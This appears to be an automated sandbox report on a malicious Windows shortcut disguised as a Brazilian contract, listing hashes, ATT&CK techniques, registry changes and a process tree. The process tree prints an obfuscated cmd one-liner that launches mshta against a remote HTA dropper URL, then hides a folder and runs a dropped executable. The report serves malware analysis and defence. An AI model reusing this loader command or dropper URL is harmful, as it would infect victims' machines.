7a61fbf49fe9293e267db1b72e1579fb1d32ad9df5b41bafadbf4a3c1cecb28f

Analysis

max time kernel
40s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:43

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General

Target
Contrato_Indeniza_Brasil-4Y8C9B.lnk
Size 1KB
Sample260803-pyebgabk3x
SHA256 7a61fbf49fe9293e267db1b72e1579fb1d32ad9df5b41bafadbf4a3c1cecb28f
MD5 48ec30eeb38cf4947f7f62e7f6e74d64
SHA1 0b6486ea3f29a9c0c706b525520874606626fbc7
SHA512 8dd55774cdf9c0ddd7e98f555782eb30f99fd48d201cc93488633e2dca64a8cd23ea7f18415716f6f0aed91236f2c01e038d49c429002e8ede9fcf95081088cd
TLSH
T194319C502AFD0614F3F39EB7457BA71059BBF9E68D60C91D4080464C5026E00E57BF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1844	mshta.exe
6	1844	mshta.exe
8	1844	mshta.exe
9	1844	mshta.exe
12	1844	mshta.exe
13	1844	mshta.exe
14	1844	mshta.exe
15	1844	mshta.exe
16	1844	mshta.exe
18	1844	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4100	cmd.exe
4248	cmd.exe
4448	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4100	cmd.exe
5052	PING.EXE

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5052	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4816	rundll32.exe
5116	rundll32.exe
5576	rundll32.exe
1164	rundll32.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4248 wrote to memory of 4448	4248	cmd.exe	89
PID 4448 wrote to memory of 1844	4448	cmd.exe	90
PID 1844 wrote to memory of 5116	1844	mshta.exe	93
PID 1844 wrote to memory of 4816	1844	mshta.exe	94
PID 1844 wrote to memory of 5576	1844	mshta.exe	95
PID 1844 wrote to memory of 1164	1844	mshta.exe	96
PID 1844 wrote to memory of 1200	1844	mshta.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1200	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-4Y8C9B.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4248
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set TvZK=msh&&set XCKuE=ta&&start "" !TvZK!!XCKuE! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1844
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:5116
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4876
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:4816
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4252
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:5576
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4332
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:1164
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:3104
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\gtxiqrby\"
      4⤵
      Views/modifies file attributes
      PID:1200
  - - C:\gtxiqrby\gtxiqrby.exe
      "C:\gtxiqrby\gtxiqrby.exe" C:\gtxiqrby\gtxiqrby
      4⤵
      PID:2696
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:2368
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:1512
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:4100
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5052

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 808B
SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
MD5 878e958d6bff424e59d1feb51584a01f
SHA1 b11261559bbea40f1874448196e2934277a537e9
SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
TLSH
T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
MD5 SHA1 SHA512 TLSH

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1B1495DD322A24490E2BF2FAABAE1C61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
Size 355B
SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
MD5 53ae64e9ee4ba962ee4b516077735710
SHA1 dae8a6fd15a9c447cdb2778f63880db25b0dd198
SHA512 ec31df0d1fbf225bc5a884ee8324aab6e2aa43031bede210b04677ed825966c8ebc0693b06d8f0e55de2cd5919b95a7b25691b6ae1fab893f58756e08836a168
TLSH
T1BFE0C08867AC24200AB19E539550C4936FBE31892970B05C8251CBED30C1A58C28B30F
MD5 SHA1 SHA512 TLSH

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22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 283B
SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
MD5 7f9d3dc54f928bf6c38576705ad18203
SHA1 2b5e33e5301753684973bfddbc6cfb11d297cf90
SHA512 ef5b01e74a5e49cd0fe887b9d92d830e1052bd93cda7d11ee68829705432a21a9943535de8dff9d77eb3402253adf9d5760eda03ca80a0c3495f83396d648967
TLSH
T102D0C29CA9273E660FE69B454A50C087AEE610CA9C15B648008EC45B0887B02EA962AE
MD5 SHA1 SHA512 TLSH

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9DD9D8EB1173CB9DA0F6DAA87673F76F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9DD9D8EB1173CB9DA0F6DAA87673F76F
Size 35KB
SHA256 7a428311e98280aff08b814fe3c5549da2fa2cfdb1bd0e27096068db79211ac8
MD5 da4c984e1122fb17b3a0285371ff3368
SHA1 aff0704f601458c699b6c7f4ba9a046373992697
SHA512 10993cc947511405b9cc371ee08e6b089b8990965c83ef2528b933ff35ab85292dfddd503682955d54e53a6775fed9a23d4a332f2605444ec972d8932210c945
SSDEEP 768:6sPt1rUfcHoMFLpLmBEOD00pb7tcqo+0TmhsqfN0d+wtHKT:brUfAo+y900F7jTCswtHO
TLSH
T1A4F24FA8AC3BF9A1AD4B5F718DEFDA9632F512C52D31922E4E306E405C13A5BDF57080
MD5 SHA1 SHA512 SSDEEP TLSH

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103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 efee78406e378939374f8be828db1d22a82729b15b15c5c85bb8f303a5dca786
MD5 254c68e729b7035e7d9deffb994e7098
SHA1 156d176c7eee504032c1933c2b9a0ddec3a906e0
SHA512 06ebf1447676fdc1696cbf73a1c10b2fdc383b6f626943a37f12441211d48b004bf23840c71d8765884cb7b79101b301d3fd99e2edea08ab92d4c1588bab6944
TLSH
T1D6C08C1C2AA24A16F2A8437C92C17D439B208101E6418F051AF12A08CE96B1A383CC2E
MD5 SHA1 SHA512 TLSH

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1B1495DD322A24490E2BF2FAABAE1C61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
Size 192B
SHA256 50932a776ae22d2e11d3ba6fff904d5c66bc9902cc9775578d61dcda603e605a
MD5 f5ed7eaa1bf85164e2fba84af69a4012
SHA1 8770d4a5f0ff311ea20e50d59420704e0a4015bc
SHA512 b9874fcaca44e96980fcedb26ebd151a89f86d3f39279329e9aaf61e07baee616d85296bc89c8c0883939ea7b2799482d4b5c50b737838c268d428e7a0326b75
TLSH
T173C08C1C5AA20706F2E4437D42D22D039B208520F2458F0516F13A48ED15F652C38C2C
MD5 SHA1 SHA512 TLSH

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22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 192B
SHA256 14faba4c48ec47ac82ca748cb99531d6d1b8c2f1c5f7515a51d7fc1988a52091
MD5 3be8a1faf2fb5c2c114f7816b3c77c7d
SHA1 8b3871fdd01000fc3c2f133e304b852c403df9c1
SHA512 8f7c0afd22f9bf0a31a2ccb1786bfe675149677dc1787dd233693d8f1af7cd306dffccda44792fc7c93864c6bb606dcc0de21a0d8566a1575e2cd64632f0ec03
TLSH
T111C092443BD21A14E2CC0BBE22A12383DA58E505E4958F9A197E06489A26A086A21E1D
MD5 SHA1 SHA512 TLSH

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9DD9D8EB1173CB9DA0F6DAA87673F76F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9DD9D8EB1173CB9DA0F6DAA87673F76F
Size 246B
SHA256 4f9cc6c89162e6185eb12bbf8e67a974ae2a91077ba327fb4ba04076250070f8
MD5 0bebf6498201fc449faf4f5e12bf4b23
SHA1 24e8016787c7acfafefaa28bec835d51af0d9245
SHA512 6e886ac970c1cab7c72b64098117849e374c9fbd50e670a873d442c19313bb4b9715a9e2de37342de3adaaaf34ab1ef9cd2fdef182e6c687773b48cce5aca894
TLSH
T154D08C183B616222F0B0CA7B99A24791CD50BA27B0E59F4D09F2860C8A2BF532C60D2C
MD5 SHA1 SHA512 TLSH

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a1.zip

Path C:\gtxiqrby\a1.zip
Size 494KB
SHA256 52a3c9534d03ab5b52078ebdd752f8a29e9f8dd357f00836e9a43cd45314a283
MD5 e033b36c473197dea8005432ca43b534
SHA1 268188b730e21bb172eb00f1c94f67fc5f289330
SHA512 21531f0043bdde38a97269602c269cc4cb3fea2ef25fb7cf086547ca058366a42ab5ab9dc8b16e8ab76551668d52bc650c28fab544f13ce1020a708c9e0e29b6
SSDEEP 12288:mxU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrIU:mq7hblmK/dgGeVlk22aCarIU
TLSH
T1C7B4231C22C5BD086D3D97FB58539F7405E6269E14B8024CE18B73C4ABCEF815F829E6
MD5 SHA1 SHA512 SSDEEP TLSH

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a2.zip

Path C:\gtxiqrby\a2.zip
Size 1.3MB
SHA256 30e0e586942153cb627b28ffac2def08296afc0012c5beac43e87479aa424f72
MD5 8e636d441c1dbdcb0ed0ae717a1cbc7b
SHA1 8b5f2d2cc1c7722197bed5f8197f4c45844e2ee4
SHA512 cad62c95074520e2414416663bbdb9e84455c2c206dcda91863c55a710af1a038a2e3dd11920f78331c85917ea8e98f28ad53e79ae0da9f217234a0a655b3797
SSDEEP 24576:wAuYNwua6NduNqjRt1pSdu4E0mcKptG6lgVT0kQkmSp9QpDH1tMlyaO:wAuSw7Ku4xpSd7m7BlgVQmvQJH1tb
TLSH
T1FE553355B7EDDF14E07D52A1C9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

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a3.zip

Path C:\gtxiqrby\a3.zip
Size 2KB
SHA256 132460602f547268e8ceff356c44ab399baf5ffb321bd0c32c6caaeca083ee87
MD5 0a73ed3df6af1bbd72bb363cab3c41a1
SHA1 2892de44ef6e338fb94bffd04a03da20267125eb
SHA512 d35abe867e4aef73c69441efa634d0e2940393d76e159cabc3e37896a452d24505ef5cfaba63c9649e041406a0a2c6374ef1281005e7d322632065905d7585c3
TLSH
T18E414CE88DBDBDA1D68E79749A14587155372EC499C062681FBFEC042230398CF2F46D
MD5 SHA1 SHA512 TLSH

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gtxiqrby

Path C:\gtxiqrby\gtxiqrby
Size 1.3MB
SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
MD5 3acd16edf0a4a2c6ece5bdb47bbfe252
SHA1 f2c68a96d6233778d1900a859ff089284c1672f2
SHA512 db484aa924751393a2bb72b482dea0882e2ea077a48f24e9535c1dd4fb49491779832533a50b509770220503952dc01253e62205b3a376ee4660d7c7f3348172
SSDEEP 24576:wAsYBwwc6NnutqPLth3SduIE0mcKppG2RgzTckokmGpVQpHH3tghysG:wAsiw7WuYn3Sdpm7PRgzIYrQhH3tb
TLSH
T121553355B7EDDF04E0BD51A1D9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

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gtxiqrby.exe

Path C:\gtxiqrby\gtxiqrby.exe
Size 957KB
SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
MD5 279274f8a137bf31425a9c2c14444b66
SHA1 6f7f971406854309d94139aa70bdc772308aff52
SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
TLSH
T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/2696-115-0x0000000006620000-0x00000000067E7000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads